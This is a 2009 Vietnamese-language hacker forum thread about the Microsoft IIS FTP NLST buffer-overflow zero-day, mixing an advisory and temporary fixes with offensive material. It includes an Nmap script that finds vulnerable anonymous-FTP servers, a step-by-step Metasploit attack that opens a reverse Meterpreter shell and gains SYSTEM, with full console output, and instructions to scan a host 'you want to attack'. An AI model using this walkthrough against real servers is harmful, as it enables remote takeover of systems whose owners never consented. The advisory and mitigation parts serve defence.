banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thông tin new bugs và exploits Microsoft Internet Information Server ftpd zeroday  XML
  [Announcement]   Microsoft Internet Information Server ftpd zeroday 01/09/2009 13:11:20 (+0700) | #1 | 191688
[Avatar]
holiganvn
Member

[Minus]    0    [Plus]
Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline
[Profile] [PM]
A new 0-day exploit for the FTP server included within the Microsoft IIS suite has been released today. Check the post on the Full Disclosure mailing list for more details.

Based on an existing Nmap script, I quickly wrote a new one which performs the following actions:

* Check if anonymous sessions are allowed.
* Check if the detected FTP server is running Microsoft ftpd.
* Check if the MKDIR command is allowed (this seems to be required by the exploit)

If all those conditions are met, the script exits with a warning message. Note that my script will only report servers which could be vulnerable. On the other side, running a server with anonymous users able to create directories is a major security breach and must be fixed independently of the newly discovered vulnerability!


script:

http://blog.rootshell.be/wp-content/uploads/2009/08/IIS-FTP.nse

copy đoạn script vào /usr/local/share/nmap/scripts/ sau đó rebuild your scripts index

Code:
# nmap --script-updatedb


khai thác:

Code:
# Nmap-p 21-sV - script = IIS-FTP 10.0.0.7 

Starting Nmap 4.76 ( http://nmap.org ) at 2009-09-01 01:15 CEST
Interesting ports on test-win (10.0.0.7):
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
|_ IIS FTP: IIS Server allow anonymous and mkdir (potentially vulnerable)
Service Info: OS: Windows


http://seclists.org/fulldisclosure/2009/Aug/0443.html


HaCk t0 LeArN,N0t LeArN t0 HaCk
[Up] [Print Copy]
  [Announcement]   Microsoft Internet Information Server ftpd zeroday 02/09/2009 09:08:22 (+0700) | #2 | 191747
[Avatar]
holiganvn
Member

[Minus]    0    [Plus]
Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline
[Profile] [PM]
1. Thông tin chung

Ngày 01/09/2008, lỗ hổng zero-day trong dịch vụ FTP của phần mềm IIS đã được công bố cùng với mã khai thác. Đây là lỗ hổng nghiêm trọng cho phép hacker dễ dàng tấn công và kiếm soát máy chủ IIS từ xa. Đây là một lỗ hổng nghiêm trọng, có thể ảnh hướng tới nhiều hệ thống máy chủ Web tại Việt Nam, vì phần lớn máy chủ cài IIS đều có cài thêm dịch vụ FTP của Microsoft.

2. Mô tả kỹ thuật

IIS (hay Internet Information Server) là phần mềm cung cấp các dịch vụ máy chủ Internet của Microsoft như HTTP, FTP, SMTP… Lỗ hổng zero-day được phát hiện nằm trong quá trình xử lý giao thức FTP của IIS.

Cụ thể, giao thức FTP hỗ trợ một câu lệnh như sau: NLST [remote-directory]. Câu lệnh trên cho phép FTP client liệt kê các file có trong thư mục [re mote-directory] trên máy chủ.

Dịch vụ FTP của IIS cũng hỗ trợ câu lệnh này, tuy nhiên với một đường dẫn [remote-directory] đặc biệt và dài “quá khổ”, IIS đã xử lý không tốt dẫn đến lỗi tràn bộ đệm cho phép chuyển điều khiển đến mã độc.

Lợi dụng lỗ hổng này, hacker có thể dễ dàng tấn công các máy chủ IIS có hỗ trợ FTP bằng cách thực hiện kết nối, đăng nhập và gửi lệnh NLST chứa mã độc nhằm kiểm soát toàn bộ máy chủ IIS. Lỗ hổng này sẽ đặc biệt nghiêm trọng nếu IIS cho phép các kết nối mà không cần quyền xác thực (anonymous).


3. Cập nhật bản vá

Đánh giá đây là lỗ hổng đặc biệt nghiêm trọng và việc Microsoft chưa thể đưa ra bản vá, Bkis khuyến cáo các quản trị mạng của các đơn vị, các cá nhân nên ngừng sử dụng chức năng FTP của IIS cho đến khi có bản vá chính thức.



Bkis Security

http://www.quantrimang.com.vn/baomat/bao-mat/tin-bao-mat/59821_Microsoft_IIS_Server_bi_tan_cong.aspx

http://bkav.com.vn/tinh_hinh_an_ninh_mang/01/09/2009/6/2435/

http://milw0rm.com/exploits/9541

fix lỗi tạm thời:

* Tắt các dịch vụ FTP nếu bạn không cần nó
* Ngăn chặn việc tạo các thư mục mới bằng cách sử dụng NTFS ACL
* Ngăn chặn người dùng vô danh thông qua các thiết lập IIS
HaCk t0 LeArN,N0t LeArN t0 HaCk
[Up] [Print Copy]
  [Announcement]   Microsoft Internet Information Server ftpd zeroday 02/09/2009 09:35:27 (+0700) | #3 | 191750
[Avatar]
holiganvn
Member

[Minus]    0    [Plus]
Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline
[Profile] [PM]
hướng dẫn tấn công bằng metasploit:

Code:
=[ msf v3.3-dev
+ -- --=[ 403 exploits - 273 payloads
+ -- --=[ 21 encoders - 8 nops
       =[ 193 aux

msf > use exploit/windows/ftp/microsoft_ftpd_nlst 
msf exploit(microsoft_ftpd_nlst) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(microsoft_ftpd_nlst) > set LHOST 192.168.0.136 
LHOST => 192.168.0.136
msf exploit(microsoft_ftpd_nlst) > set RHOST 192.168.0.128
RHOST => 192.168.0.128
msf exploit(microsoft_ftpd_nlst) > exploit 

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Connecting to FTP server 192.168.0.128:21...
[*] Connected to target FTP server.
[*] Authenticating as anonymous with password <a href="mailto:mozilla@example.com">mozilla@example.com</a>...
[*] Sending password...
[*] 257 "RTIXDYMRJB" directory created.
[*] 250 CWD command successful.
[*] Creating long directory...
[*] 257 "SQL�UURU5UUUU@�8QKORu�@@@@��GVSVIHLODRPRVJDPILGXHZNKLNIYQZKGXCWEAGFGHTXSXDBYDLLXKGKYWUJNJGTZX����ASNOHNZRTDAAMVPKVEQRAVWPUJNGYKWSAIUMUPWLBU������������w�����YYTPSDOYTB�f���ICVFVCFUIZKQTRMIEWETKWE" directory created.
[*] 200 PORT command successful.
[*] Trying target Windows 2000 SP4 Universal (IIS 5.0)...
[*] 150 Opening ASCII mode data connection for file list.
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.0.136:4444 -> 192.168.0.128:1076)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
HaCk t0 LeArN,N0t LeArN t0 HaCk
[Up] [Print Copy]
  [Announcement]   Microsoft Internet Information Server ftpd zeroday 03/09/2009 10:18:35 (+0700) | #4 | 191816
[Avatar]
holiganvn
Member

[Minus]    0    [Plus]
Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline
[Profile] [PM]
các bạn có thể sử dụng đoạn Nmap script sau để phát hiện server bị lỗi FTP oday:

Code:
--- Checks if a Microsoft FTP server allows anonymous logins + MKDIR
--- If yes, could be vulnerable to the following exploit:
--- http://seclists.org/fulldisclosure/2009/Aug/0443.html
-- @output
-- |_ FTP: IIS Server allow anonymous and mkdir (potentially vulnerable)
--
-- @args ftpuser Alternate user to initiate the FTP session
--       ftppass Alternate password to initiate the FTP session
--       If no arguments are passed, anonymous FTP session is probed

id="IIS FTP"
description="Checks to see if a Microsoft ISS FTP server allows anonymous logins and MKDIR (based on anonftp.nse by Eddie Bell <ejlbell@gmail.com>)"
author = "Xavier Mertens <xavier@rooshell.be>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default", "auth", "intrusive"}

require "shortport"
local stdnse = require "stdnse"
---
-- portrule = shortport.port_or_service(21, "ftp")
portrule = function(host,port)
	if (port.number == 21 and
	    (port.state == "open" or port.state == "open|filtered"))
	then
		return true
	else
		return false
	end
end

---
-- Connects to the ftp server and checks if the server allows
-- anonymous logins or any credentials passed as arguments
action = function(host, port)
	local socket = nmap.new_socket()
	local result
	local status = true
	local isAnon = false

	local err_catch = function()
		socket:close()
	end

	local try = nmap.new_try(err_catch())

	socket:set_timeout(5000)
	try(socket:connect(host.ip, port.number, port.protocol))

	if (type(nmap.registry.args.ftpuser) == "string" and nmap.registry.args.ftpuser ~= "" and
	    type(nmap.registry.args.ftppass) == "string" and nmap.registry.args.ftppass ~= "")
	then
		local struser = "USER " .. nmap.registry.args.ftpuser .. "\r\n"
		local strpass = "PASS " .. nmap.registry.args.ftppass .. "\r\n"
		try(socket:send(struser))
		try(socket:send(strpass))
	else
		try(socket:send("USER anonymous\r\n"))
		try(socket:send("PASS IEUser@\r\n"))
	end

        while status do
		status, result = socket:receive_lines(1);
		if string.match(result, "^230") then
			try(socket:send("RSTATUS\r\n"))
			while status do
				status, result = socket:receive_lines(1);
				if string.match(result, "^211-Microsoft FTP Service") then
					try(socket:send("MKD w00t\r\n"))
					while status do
						status, result = socket:receive_lines(1);
						if string.match(result, "^257") then
							isVuln=true
							try(socket:send("RMDIR w00t\r\n"))
							break;
						end
					end
				end
			end
		end
	end

	socket:close()

	if(isVuln) then
		return "IIS Server allow anonymous and mkdir (potentially vulnerable)"
	end
end



Code:
# nmap -p 21 -sV --script=IIS-FTP --scriptargs=ftpuser=foo,ftppass=bar 10.0.0.7

HaCk t0 LeArN,N0t LeArN t0 HaCk
[Up] [Print Copy]
  [Announcement]   Microsoft Internet Information Server ftpd zeroday 04/09/2009 13:02:55 (+0700) | #5 | 191941
[Avatar]
holiganvn
Member

[Minus]    0    [Plus]
Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline
[Profile] [PM]
http://archives.free.net.ph/message/20090903.215352.6e5d3f0a.en.html <--- new bug smilie
HaCk t0 LeArN,N0t LeArN t0 HaCk
[Up] [Print Copy]
  [Announcement]   Microsoft Internet Information Server ftpd zeroday 10/09/2009 19:18:25 (+0700) | #6 | 192270
[Avatar]
holiganvn
Member

[Minus]    0    [Plus]
Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline
[Profile] [PM]
ở trên có đoạn code sử dụng nmap để tìm lỗi 0-day FTP,các bạn save đoạn code lại thành file.nse,lưu ở /usr/local/share/nmap/scripts/ ,sau đó sử dụng câu lệnh này để cập nhật db cho nmap:

Code:
nmap --script-updatedb



Code:
r00t@holiganvn

tarting Nmap 5.00 ( http://nmap.org ) at 2009-09-06 14:14 CST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using –system-dns or specify valid servers with –dns-servers
Interesting ports on 192.168.41.4:
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
MAC Address: 08:00:27:B5:C1:E9 (Cadmus Computer Systems)
Service Info: OS: Windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.53 seconds


sử dụng nmap tìm lỗi ở cổng 21

Code:
nmap -p21 --script= -host muốn tấn công-


video tấn công ,demo với back-track




http://www.offensive-security.com/videos/microsoft-ftp-server-remote-exploit/msftp.html
HaCk t0 LeArN,N0t LeArN t0 HaCk
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|